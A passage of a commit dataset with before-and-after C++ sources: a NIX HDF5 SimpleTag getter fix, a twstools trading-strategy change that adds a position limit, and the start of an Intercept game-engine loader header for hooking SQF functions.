id);\n    }\n}\n\n\nvoid SimpleTagHDF5::addReference(const std::string &id) {\n    if (!block().hasDataArray(id)) {\n        throw runtime_error(\"Unable to find data array with reference_id \" +\n                            id + \" on block \" + block().id());\n    }\n\n    references_list.add(id);\n}\n\n\nbool SimpleTagHDF5::removeReference(const std::string &id) {\n    return references_list.remove(id);\n}\n\n\nvoid SimpleTagHDF5::references(const std::vector<DataArray> &references) {\n    vector<string> ids(references.size());\n\n    for (size_t i = 0; i < references.size(); i++) {\n        ids[i] = references[i].id();\n    }\n\n    references_list.set(ids);\n}\n\n\/\/ Methods concerning representations.\n\nbool SimpleTagHDF5::hasRepresentation(const string &id) const {\n    return representation_group.hasGroup(id);\n}\n\n\nsize_t SimpleTagHDF5::representationCount() const {\n    return representation_group.objectCount();\n}\n\n\nRepresentation SimpleTagHDF5::getRepresentation(const std::string &id) const {\n    Group rep_g = representation_group.openGroup(id, false);\n    auto tmp = make_shared<RepresentationHDF5>(file(), block(), rep_g, id);\n\n    return Representation(tmp);\n}\n\n\nRepresentation SimpleTagHDF5::getRepresentation(size_t index) const{\n    string rep_id = representation_group.objectName(index);\n    Group rep_g = representation_group.openGroup(rep_id, false);\n    auto tmp = make_shared<RepresentationHDF5>(file(), block(), rep_g, rep_id);\n\n    return Representation(tmp);\n}\n\n\nRepresentation SimpleTagHDF5::createRepresentation(const std::string &data_array_id, LinkType link_type){\n    string rep_id = util::createId(\"representation\");\n    while(representation_group.hasObject(rep_id))\n        rep_id = util::createId(\"representation\");\n    Group rep_g = representation_group.openGroup(rep_id, true);\n    auto tmp = make_shared<RepresentationHDF5>(file(), block(), rep_g, rep_id);\n    tmp->linkType(link_type);\n    tmp->data(data_array_id);\n\n    return Representation(tmp);\n}\n\n\nbool SimpleTagHDF5::deleteRepresentation(const string &id){\n    if (representation_group.hasGroup(id)) {\n        representation_group.removeGroup(id);\n        return true;\n    } else {\n        return false;\n    }\n}\n\n\/\/ Other methods and functions\n\n\nvoid SimpleTagHDF5::swap(SimpleTagHDF5 &other) {\n    using std::swap;\n\n    EntityWithSourcesHDF5::swap(other);\n    swap(representation_group, other.representation_group);\n    swap(references_list, other.references_list);\n}\n\n\nSimpleTagHDF5& SimpleTagHDF5::operator=(const SimpleTagHDF5 &other) {\n    if (*this != other) {\n        SimpleTagHDF5 tmp(other);\n        swap(tmp);\n    }\n    return *this;\n}\n\n\nostream& operator<<(ostream &out, const SimpleTagHDF5 &ent) {\n    out << \"SimpleTag: {name = \" << ent.name();\n    out << \", type = \" << ent.type();\n    out << \", id = \" << ent.id() << \"}\";\n    return out;\n}\n\n\nSimpleTagHDF5::~SimpleTagHDF5()\n{\n    \/\/ TODO Auto-generated destructor stub\n}\n\n\n} \/\/ namespace hdf5\n} \/\/ namespace nix\n<commit_msg>Modified (optional) getter of entities in \"SimpleTag\" to return empty entity if field missing.<commit_after>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n\n#include <nix\/util\/util.hpp>\n#include <nix\/hdf5\/SimpleTagHDF5.hpp>\n#include <nix\/hdf5\/RepresentationHDF5.hpp>\n#include <nix\/hdf5\/DataSet.hpp>\n#include <nix\/Exception.hpp>\n\nusing namespace std;\n\nnamespace nix {\nnamespace hdf5 {\n\nSimpleTagHDF5::SimpleTagHDF5(const SimpleTagHDF5 &tag)\n    : EntityWithSourcesHDF5(tag.file(), tag.block(), tag.group(), tag.id()),\n      references_list(tag.group(), \"references\")\n{\n    representation_group = tag.representation_group;\n}\n\n\nSimpleTagHDF5::SimpleTagHDF5(const File &file, const Block &block, const Group &group,\n                             const string &id)\n    : EntityWithSourcesHDF5(file, block, group, id), references_list(group, \"references\")\n{\n    representation_group = group.openGroup(\"representations\");\n}\n\n\nSimpleTagHDF5::SimpleTagHDF5(const File &file, const Block &block, const Group &group,\n                             const string &id, time_t time)\n    : EntityWithSourcesHDF5(file, block, group, id, time), references_list(group, \"references\")\n{\n    representation_group = group.openGroup(\"representations\");\n}\n\n\nvector<string> SimpleTagHDF5::units() const {\n    vector<string> units;\n    group().getData(\"units\", units);\n    return units;\n}\n\n\nvoid SimpleTagHDF5::units(vector<string> &units) {\n    group().setData(\"units\", units);\n}\n\n\nvoid SimpleTagHDF5::units(const none_t t) {\n    if(group().hasData(\"units\")) {\n        group().removeData(\"units\");\n    }\n    forceUpdatedAt();\n}\n\n\nvector<double> SimpleTagHDF5::position() const {\n    vector<double> position;\n    group().getData(\"position\", position);\n    return position;\n}\n\n\nvoid SimpleTagHDF5::position(const vector<double> &position) {\n    group().setData(\"position\", position);\n}\n\n\nvector<double> SimpleTagHDF5::extent() const {\n    vector<double> extent;\n    group().getData(\"extent\", extent);        \n    return extent;\n}\n\n\nvoid SimpleTagHDF5::extent(const vector<double> &extent) {\n    group().setData(\"extent\", extent);\n}\n\n\nvoid SimpleTagHDF5::extent(const none_t t) {\n    if(group().hasData(\"extent\")) {\n        group().removeData(\"extent\");\n    }\n    forceUpdatedAt();\n}\n\n\n\/\/ Methods concerning references.\n\n\nbool SimpleTagHDF5::hasReference(const std::string &id) const {\n    return references_list.has(id);\n}\n\n\nsize_t SimpleTagHDF5::referenceCount() const {\n    return references_list.count();\n}\n\n\nDataArray SimpleTagHDF5::getReference(const std::string &id) const {\n    if (hasReference(id)) {\n        \/\/ block will return empty object if entity not found\n        return block().getDataArray(id);\n    } else {\n        throw runtime_error(\"No reference with id: \" + id);\n    }\n}\n\n\nDataArray SimpleTagHDF5::getReference(size_t index) const {\n    std::vector<std::string> refs = references_list.get();\n    std::string id;\n    \n    \/\/ get reference id\n    if(index < refs.size()) {\n        id = refs[index];\n    } else {\n        throw OutOfBounds(\"No data array at given index\", index);\n    }\n    \/\/ get referenced array\n    if(hasReference(id) && block().hasDataArray(id)) {\n        return block().getDataArray(id);\n    } else {\n        throw runtime_error(\"No data array id: \" + id);\n    }\n}\n\n\nvoid SimpleTagHDF5::addReference(const std::string &id) {\n    if (!block().hasDataArray(id)) {\n        throw runtime_error(\"Unable to find data array with reference_id \" +\n                            id + \" on block \" + block().id());\n    }\n\n    references_list.add(id);\n}\n\n\nbool SimpleTagHDF5::removeReference(const std::string &id) {\n    return references_list.remove(id);\n}\n\n\nvoid SimpleTagHDF5::references(const std::vector<DataArray> &references) {\n    vector<string> ids(references.size());\n\n    for (size_t i = 0; i < references.size(); i++) {\n        ids[i] = references[i].id();\n    }\n\n    references_list.set(ids);\n}\n\n\/\/ Methods concerning representations.\n\nbool SimpleTagHDF5::hasRepresentation(const string &id) const {\n    return representation_group.hasGroup(id);\n}\n\n\nsize_t SimpleTagHDF5::representationCount() const {\n    return representation_group.objectCount();\n}\n\n\nRepresentation SimpleTagHDF5::getRepresentation(const std::string &id) const {\n    if(hasRepresentation(id)) {\n        auto tmp = make_shared<RepresentationHDF5>(file(), block(), representation_group.openGroup(id, false), id);\n        return Representation(tmp);\n    } else {\n        return Representation();\n    }\n}\n\n\nRepresentation SimpleTagHDF5::getRepresentation(size_t index) const{\n    string id = representation_group.objectName(index);\n\n    return getRepresentation(id);\n}\n\n\nRepresentation SimpleTagHDF5::createRepresentation(const std::string &data_array_id, LinkType link_type){\n    string rep_id = util::createId(\"representation\");\n    while(representation_group.hasObject(rep_id))\n        rep_id = util::createId(\"representation\");\n    Group rep_g = representation_group.openGroup(rep_id, true);\n    auto tmp = make_shared<RepresentationHDF5>(file(), block(), rep_g, rep_id);\n    tmp->linkType(link_type);\n    tmp->data(data_array_id);\n\n    return Representation(tmp);\n}\n\n\nbool SimpleTagHDF5::deleteRepresentation(const string &id){\n    if (representation_group.hasGroup(id)) {\n        representation_group.removeGroup(id);\n        return true;\n    } else {\n        return false;\n    }\n}\n\n\/\/ Other methods and functions\n\n\nvoid SimpleTagHDF5::swap(SimpleTagHDF5 &other) {\n    using std::swap;\n\n    EntityWithSourcesHDF5::swap(other);\n    swap(representation_group, other.representation_group);\n    swap(references_list, other.references_list);\n}\n\n\nSimpleTagHDF5& SimpleTagHDF5::operator=(const SimpleTagHDF5 &other) {\n    if (*this != other) {\n        SimpleTagHDF5 tmp(other);\n        swap(tmp);\n    }\n    return *this;\n}\n\n\nostream& operator<<(ostream &out, const SimpleTagHDF5 &ent) {\n    out << \"SimpleTag: {name = \" << ent.name();\n    out << \", type = \" << ent.type();\n    out << \", id = \" << ent.id() << \"}\";\n    return out;\n}\n\n\nSimpleTagHDF5::~SimpleTagHDF5()\n{\n    \/\/ TODO Auto-generated destructor stub\n}\n\n\n} \/\/ namespace hdf5\n} \/\/ namespace nix\n<|endoftext|>"}
{"text":"<commit_before>\/*** tws_strat.cpp -- TWS strategy module\n *\n * Copyright (C) 2012 Ruediger Meier\n *\n * Author:  Ruediger Meier <sweet_f_a@gmx.de>\n *\n * This file is part of twstools.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * 3. Neither the name of the author nor the names of any contributors\n *    may be used to endorse or promote products derived from this\n *    software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n ***\/\n\n#include \"tws_strat.h\"\n#include \"tws_query.h\"\n#include \"tws_meta.h\"\n#include \"tws_account.h\"\n#include \"twsdo.h\"\n#include \"debug.h\"\n#include <assert.h>\n\n\nbuy_sell_oid::buy_sell_oid() :\n\tsell_oid(0),\n\tbuy_oid(0)\n{\n}\n\n\nStrat::Strat( TwsDL& _twsdo) :\n\ttwsdo(_twsdo)\n{\n}\n\nStrat::~Strat()\n{\n}\n\n\/**\n * Return min tick price for a given contract.\n *\/\ndouble Strat::min_tick(const IB::Contract& c)\n{\n\tassert( c.conId != 0 );\n\tassert( twsdo.con_details.find( c.conId ) != twsdo.con_details.end() );\n\tdouble min_tick = twsdo.con_details[c.conId]->minTick ;\n\tassert(min_tick > 0.0);\n\treturn min_tick;\n}\n\n\/**\n * Return portfolio position of a given contract.\n *\/\nint Strat::prtfl_pos(const IB::Contract& c)\n{\n\tPrtfl::const_iterator it = twsdo.account->portfolio.find(c.conId);\n\tif( it !=  twsdo.account->portfolio.end() ) {\n\t\treturn it->second.position;\n\t}\n\treturn 0;\n}\n\n\/**\n * Place or modify buy and sell orders for a single contract. Quote should\n * valid bid and ask.\n *\/\nvoid Strat::adjust_order( const IB::Contract& c, const Quote& quote,\n\tbuy_sell_oid& oids )\n{\n\tPlaceOrder pO;\n\tpO.contract = c;\n\tpO.order.orderType = \"LMT\";\n\tpO.order.totalQuantity = pO.contract.secType == \"CASH\" ? 25000 : 1;\n\tconst char *symbol = pO.contract.symbol.c_str();\n\n\tdouble quote_dist = 1 * min_tick(c);\n\n\tdouble lmt_buy = quote.val[IB::BID] - quote_dist;\n\tdouble lmt_sell = quote.val[IB::ASK] + quote_dist;\n\n\tif( twsdo.p_orders.find(oids.buy_oid) == twsdo.p_orders.end() ) {\n\t\t\/* new buy order *\/\n\t\tDEBUG_PRINTF( \"strat, new buy order %s\", symbol );\n\t\toids.buy_oid = twsdo.fetch_inc_order_id();\n\t\tpO.orderId = oids.buy_oid;\n\t\tpO.order.action = \"BUY\";\n\t\tpO.order.lmtPrice = lmt_buy;\n\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t} else {\n\t\t\/* modify buy order *\/\n\t\tPacketPlaceOrder *ppo = twsdo.p_orders[oids.buy_oid];\n\t\tconst PlaceOrder &po = ppo->getRequest();\n\t\tif( po.order.lmtPrice != lmt_buy ) {\n\t\t\tDEBUG_PRINTF( \"strat, modify buy order %s\", symbol );\n\t\t\tpO.orderId = oids.buy_oid;\n\t\t\tpO.order.action = \"BUY\";\n\t\t\tpO.order.lmtPrice = lmt_buy;\n\t\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t}\n\tif( twsdo.p_orders.find(oids.sell_oid) == twsdo.p_orders.end() ) {\n\t\t\/* new sell order *\/\n\t\tDEBUG_PRINTF( \"strat, new sell order %s\", symbol );\n\t\toids.sell_oid = twsdo.fetch_inc_order_id();\n\t\tpO.orderId = oids.sell_oid;\n\t\tpO.order.action = \"SELL\";\n\t\tpO.order.lmtPrice = lmt_sell;\n\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t} else {\n\t\t\/* modify sell order *\/\n\t\tPacketPlaceOrder *ppo = twsdo.p_orders[oids.sell_oid];\n\t\tconst PlaceOrder &po = ppo->getRequest();\n\t\tif( po.order.lmtPrice != lmt_sell ) {\n\t\t\tDEBUG_PRINTF( \"strat, modify sell order %s\", symbol );\n\t\t\tpO.orderId = oids.sell_oid;\n\t\t\tpO.order.action = \"SELL\";\n\t\t\tpO.order.lmtPrice = lmt_sell;\n\t\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t}\n}\n\nvoid Strat::adjustOrders()\n{\n\tDEBUG_PRINTF( \"strat, adjust orders\" );\n\n\tconst MktDataTodo &mtodo = twsdo.workTodo->getMktDataTodo();\n\tfor( int i=0; i < mtodo.mktDataRequests.size(); i++ ) {\n\t\tconst IB::Contract &contract = mtodo.mktDataRequests[i].ibContract;\n\t\tconst Quote &quote = twsdo.quotes->at(i);\n\n\t\t\/* here we also initialize zero order ids *\/\n\t\tbuy_sell_oid &oids = map_data_order[i];\n\n\t\tif( quote.val[IB::BID] > 0.0 && quote.val[IB::ASK] > 0.0 ) {\n\t\t\tadjust_order( contract, quote, oids );\n\t\t} else {\n\t\t\t\/* invalid quotes, TODO cleanup, cancel, whatever *\/\n\t\t}\n\t}\n\tDEBUG_PRINTF( \"strat, place\/modify %d orders\",\n\t\ttwsdo.workTodo->placeOrderTodo()->countLeft());\n\tassert( mtodo.mktDataRequests.size() == map_data_order.size() );\n}<commit_msg>Strat, don't place new orders if we have that side already<commit_after>\/*** tws_strat.cpp -- TWS strategy module\n *\n * Copyright (C) 2012 Ruediger Meier\n *\n * Author:  Ruediger Meier <sweet_f_a@gmx.de>\n *\n * This file is part of twstools.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * 3. Neither the name of the author nor the names of any contributors\n *    may be used to endorse or promote products derived from this\n *    software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n ***\/\n\n#include \"tws_strat.h\"\n#include \"tws_query.h\"\n#include \"tws_meta.h\"\n#include \"tws_account.h\"\n#include \"twsdo.h\"\n#include \"debug.h\"\n#include <assert.h>\n\n\nbuy_sell_oid::buy_sell_oid() :\n\tsell_oid(0),\n\tbuy_oid(0)\n{\n}\n\n\nStrat::Strat( TwsDL& _twsdo) :\n\ttwsdo(_twsdo)\n{\n}\n\nStrat::~Strat()\n{\n}\n\n\/**\n * Return min tick price for a given contract.\n *\/\ndouble Strat::min_tick(const IB::Contract& c)\n{\n\tassert( c.conId != 0 );\n\tassert( twsdo.con_details.find( c.conId ) != twsdo.con_details.end() );\n\tdouble min_tick = twsdo.con_details[c.conId]->minTick ;\n\tassert(min_tick > 0.0);\n\treturn min_tick;\n}\n\n\/**\n * Return portfolio position of a given contract.\n *\/\nint Strat::prtfl_pos(const IB::Contract& c)\n{\n\tPrtfl::const_iterator it = twsdo.account->portfolio.find(c.conId);\n\tif( it !=  twsdo.account->portfolio.end() ) {\n\t\treturn it->second.position;\n\t}\n\treturn 0;\n}\n\n\/**\n * Place or modify buy and sell orders for a single contract. Quote should\n * valid bid and ask.\n *\/\nvoid Strat::adjust_order( const IB::Contract& c, const Quote& quote,\n\tbuy_sell_oid& oids )\n{\n\tPlaceOrder pO;\n\tpO.contract = c;\n\tpO.order.orderType = \"LMT\";\n\tpO.order.totalQuantity = pO.contract.secType == \"CASH\" ? 25000 : 1;\n\tconst char *symbol = pO.contract.symbol.c_str();\n\n\tdouble quote_dist = 1 * min_tick(c);\n\tconst int max_pos = 1;\n\tint cur_pos = prtfl_pos(c);\n\n\tdouble lmt_buy = quote.val[IB::BID] - quote_dist;\n\tdouble lmt_sell = quote.val[IB::ASK] + quote_dist;\n\n\tif( twsdo.p_orders.find(oids.buy_oid) == twsdo.p_orders.end() ) {\n\t\tif( cur_pos < max_pos ) {\n\t\t\/* new buy order *\/\n\t\tDEBUG_PRINTF( \"strat, new buy order %s\", symbol );\n\t\toids.buy_oid = twsdo.fetch_inc_order_id();\n\t\tpO.orderId = oids.buy_oid;\n\t\tpO.order.action = \"BUY\";\n\t\tpO.order.lmtPrice = lmt_buy;\n\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t} else {\n\t\t\/* modify buy order *\/\n\t\tPacketPlaceOrder *ppo = twsdo.p_orders[oids.buy_oid];\n\t\tconst PlaceOrder &po = ppo->getRequest();\n\t\tif( po.order.lmtPrice != lmt_buy ) {\n\t\t\tDEBUG_PRINTF( \"strat, modify buy order %s\", symbol );\n\t\t\tpO.orderId = oids.buy_oid;\n\t\t\tpO.order.action = \"BUY\";\n\t\t\tpO.order.lmtPrice = lmt_buy;\n\t\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t}\n\tif( twsdo.p_orders.find(oids.sell_oid) == twsdo.p_orders.end() ) {\n\t\tif( cur_pos > -max_pos ) {\n\t\t\/* new sell order *\/\n\t\tDEBUG_PRINTF( \"strat, new sell order %s\", symbol );\n\t\toids.sell_oid = twsdo.fetch_inc_order_id();\n\t\tpO.orderId = oids.sell_oid;\n\t\tpO.order.action = \"SELL\";\n\t\tpO.order.lmtPrice = lmt_sell;\n\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t} else {\n\t\t\/* modify sell order *\/\n\t\tPacketPlaceOrder *ppo = twsdo.p_orders[oids.sell_oid];\n\t\tconst PlaceOrder &po = ppo->getRequest();\n\t\tif( po.order.lmtPrice != lmt_sell ) {\n\t\t\tDEBUG_PRINTF( \"strat, modify sell order %s\", symbol );\n\t\t\tpO.orderId = oids.sell_oid;\n\t\t\tpO.order.action = \"SELL\";\n\t\t\tpO.order.lmtPrice = lmt_sell;\n\t\t\ttwsdo.workTodo->placeOrderTodo()->add(pO);\n\t\t}\n\t}\n}\n\nvoid Strat::adjustOrders()\n{\n\tDEBUG_PRINTF( \"strat, adjust orders\" );\n\n\tconst MktDataTodo &mtodo = twsdo.workTodo->getMktDataTodo();\n\tfor( int i=0; i < mtodo.mktDataRequests.size(); i++ ) {\n\t\tconst IB::Contract &contract = mtodo.mktDataRequests[i].ibContract;\n\t\tconst Quote &quote = twsdo.quotes->at(i);\n\n\t\t\/* here we also initialize zero order ids *\/\n\t\tbuy_sell_oid &oids = map_data_order[i];\n\n\t\tif( quote.val[IB::BID] > 0.0 && quote.val[IB::ASK] > 0.0 ) {\n\t\t\tadjust_order( contract, quote, oids );\n\t\t} else {\n\t\t\t\/* invalid quotes, TODO cleanup, cancel, whatever *\/\n\t\t}\n\t}\n\tDEBUG_PRINTF( \"strat, place\/modify %d orders\",\n\t\ttwsdo.workTodo->placeOrderTodo()->countLeft());\n\tassert( mtodo.mktDataRequests.size() == map_data_order.size() );\n}<|endoftext|>"}
{"text":"<commit_before>﻿\/*!\n@file\n@author Nou (korewananda@gmail.com)\n\n@brief Memory searcher and patching functionality to the RV engine.\n\nThis is the main patching suit for Intercept. It contains all the functionality\nto search for and patch the RV engine. It also does the main memory analysis to\nfind and catalog the SQF function pointers and store them.\n\nhttps:\/\/github.com\/NouberNou\/intercept\n*\/\n#pragma once\n#include \"shared.hpp\"\n#include \"singleton.hpp\"\n#include \"logging.hpp\"\n#include \"arguments.hpp\"\n#include \"shared\\types.hpp\"\n#include <unordered_set>\n\nusing namespace intercept::types;\n\nnamespace intercept {\n    \/\/! Nular function map.\n    typedef std::unordered_map<std::string, std::vector<nular_entry>> nular_map;\n    \/\/! Unary function map.\n    typedef std::unordered_map<std::string, std::vector<unary_entry>> unary_map;\n    \/\/! Binary functon map.\n    typedef std::unordered_map<std::string, std::vector<binary_entry>> binary_map;\n\n    struct sqf_register_functions {\n        uintptr_t _gameState;\n        uintptr_t _operator_construct;\n        uintptr_t _operator_insert;\n        uintptr_t _unary_construct;\n        uintptr_t _unary_insert;\n        std::array<uintptr_t, static_cast<size_t>(types::__internal::GameDataType::end)> _types {0};\n    };\n\n    \/*!\n    @brief The loader class, memory searcher and patching functionality to the RV engine.\n\n    This is the main patching suit for Intercept. It contains all the functionality\n    to search for and patch the RV engine. It also does the main memory analysis to\n    find and catalog the SQF function pointers and store them.\n    *\/\n    class loader\n        : public singleton<loader> {\n    public:\n        loader();\n        ~loader();\n\n        \/*!\n        @brief Walks the game state maps of SQF functions and finds their info.\n\n        This walks the internal game state objects maps of SQF functions and then\n        gets their comref information, arguement types, and the pointer to the\n        actual function and stores them.\n        *\/\n        void do_function_walk(uintptr_t state_addr_);\n\n        \/*!\n        @brief Returns a unary SQF function from the loaders library of found SQF functions.\n\n        Returns a unary SQF function from the loaders library of found SQF functions.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the unary function.\n\n        @return true if function is found, false if function is not found.\n\n        @todo Throw exception if overloads are found so that unexpected results\n        are not encountered.\n\n        @code\n        unary_function can_fire;\n        bool found = get_function(\"canfire\", can_fire);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, unary_function &function_);\n\n        \/*!\n        @brief Returns a unary SQF function from the loaders library of found\n        SQF functions with argument signature.\n\n        Returns a unary SQF function from the loaders library of found SQF functions\n        but also takes a argument type in case there are overloaded versions of\n        this SQF command available.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the unary function.\n        @param [in] arg_signature_ The type of variable in SQF that the right\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\", etc.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        unary_function random_function1;\n        bool found1 = get_function(\"random\", random_function1, \"SCALAR\");\n        unary_function random_function2;\n        bool found2 = get_function(\"random\", random_function2, \"ARRAY\");\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, unary_function & function_, std::string arg_signature_);\n\n        \/*!\n        @brief Returns a binary SQF function from the loaders library of found SQF functions.\n\n        Returns a binary SQF function from the loaders library of found SQF functions.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @todo Throw exception if overloads are found so that unexpected results\n        are not encountered.\n\n        @code\n        binary_function set_pos;\n        bool found = get_function(\"setpos\", set_pos);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, binary_function &function_);\n\n        \/*!\n        @brief Returns a binary SQF function from the loaders library of found\n        SQF functions with argument signature.\n\n        Returns a binary SQF function from the loaders library of found SQF functions\n        but also takes a argument type in case there are overloaded versions of\n        this SQF command available.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n        @param [in] arg1_signature_ The type of variable in SQF that the left\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\",\n        etc.\n        @param [in] arg2_signature_ The type of variable in SQF that the right\n        argument is. Must be in all caps, \"ARRAY\", \"SCALAR\", \"BOOL\", \"OBJECT\",\n        etc.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        binary_function remove_menu_item1;\n        bool found1 = get_function(\"removemenuitem\", remove_menu_item1, \"CONTROL\", \"SCALAR\");\n        binary_function remove_menu_item2;\n        bool found2 = get_function(\"removemenuitem\", remove_menu_item2, \"CONTROL\", \"STRING\");\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, binary_function &function_, std::string arg1_signature_, std::string arg2_signature_);\n\n        \/*!\n        @brief Returns a nular SQF function from the loaders library of found SQF functions.\n\n        Returns a nular SQF function from the loaders library of found SQF functions.\n        There is no version of this function that takes a argument signature because\n        there are no possible arguements for these functions and hence no possible\n        overloading.\n\n        @param [in] function_name_ The name of the function, all in lowercase.\n        @param [out] function_ A reference variable to the binary function.\n\n        @return `true` if function is found, `false` if function is not found.\n\n        @code\n        nular_function player;\n        bool found = get_function(\"player\", player);\n        @endcode\n        *\/\n        bool get_function(std::string function_name_, nular_function &function_);\n\n        \/*!@{\n        @brief Hook a function.\n\n        Hooks a function so that when it is executed in SQF the hooked function\n        will execute in its place instead.\n\n        @warning Warning, this will only hook the first function (and in the future\n        raise an exception if there is an overload of this function).\n\n        @param [in] function_name_ The name of the function to hook.\n        @param [in] hook_ A void pointer to the function to call instead.\n        @param [out] trampoline_ A reference to the trampoline that stores the\n        original function call.\n\n        @return `true` if the hook succeded, `false` if the hook failed.\n        *\/\n        bool hook_function(std::string function_name_, void *hook_, unary_function &trampoline_);\n        bool hook_function(std::string function_name_, void *hook_, binary_function &trampoline_);\n        bool hook_function(std::string function_name_, void *hook_, nular_function &trampoline_);\n        \/\/!@}\n\n        \/*!@{\n        @brief Unhook a unary function.\n\n        Unhooks an already hooked functon. You must pass in the name, original\n        hooked function (the `hook_` parameter that was passed in) and the trampoline\n        that was assigned by the hook function.\n\n        @param [in] function_name_ The name of the function to unhook.\n        @param [in] hook_ A void pointer to the function that is being called in\n        place of the original.\n        @param [out] trampoline_ The trampoline that was returned via reference\n        in the original hook.\n        *\/\n        bool unhook_function(std::string function_name_, void *hook_, unary_function &trampoline_);\n        bool unhook_function(std::string function_name_, void *hook_, binary_function &trampoline_);\n        bool unhook_function(std::string function_name_, void *hook_, nular_function &trampoline_);\n        \/\/!@}\n\n\n        \/*!@{\n        @brief Return the associated function maps.\n        *\/\n        const unary_map & unary() const;\n        const binary_map & binary() const;\n        const nular_map & nular() const;\n        \/\/!@}\n\n        \/*!\n        @brief Returns the pointer to the engines allocator functions.\n        *\/\n        const types::__internal::allocatorInfo* get_allocator() const;\n\n        \/*!\n        @brief Returns function Pointers needed to register SQF Functions\n        *\/\n        const sqf_register_functions& get_register_sqf_info() const;\n\n\n\n\n    protected:\n        \/*!\n        @name Function Maps\n        *\/\n        \/\/!@{\n        unary_map _unary_operators;\n        binary_map _binary_operators;\n        nular_map _nular_operators;\n        \/\/!@}\n\n        \/*!\n        @name Initial Hook Functionality\n        *\/\n        \/\/!@{\n        static int __cdecl _initial_patch(char *a_, int b_, int c_);\n        static unary_function _initial_trampoline;\n        \/\/!@}\n\n        \/*!\n        @brief Stores the hooked functions.\n        *\/\n        std::unordered_set<uint32_t> _hooked_functions;\n\n        \/*!\n        @brief Stores the data about the engines allocators.\n        *\/\n        types::__internal::allocatorInfo _allocator;\n\n        \/*!\n        @brief Stores the data about the Functions needed to register SQF Functions.\n        *\/\n        sqf_register_functions _sqf_register_funcs;\n\n        bool _attached;\n        bool _patched;\n    };\n\n    namespace __internal {\t \/\/@Nou where should i store this stuff? It shall only be used internally.\n        class gsFuncBase {\n        public:\n            const r_string _name;\n        private:\n            uint32_t placeholder1;\/\/0x4\n            uint32_t placeholder2;\/\/0x8 actually a pointer to empty memory\n            uint32_t placeholder3;\/\/0xC\n            uint32_t placeholder4;\/\/0x10\n            uint32_t placeholder5;\/\/0x14\n            uint32_t placeholder6;\/\/0x18\n            uint32_t 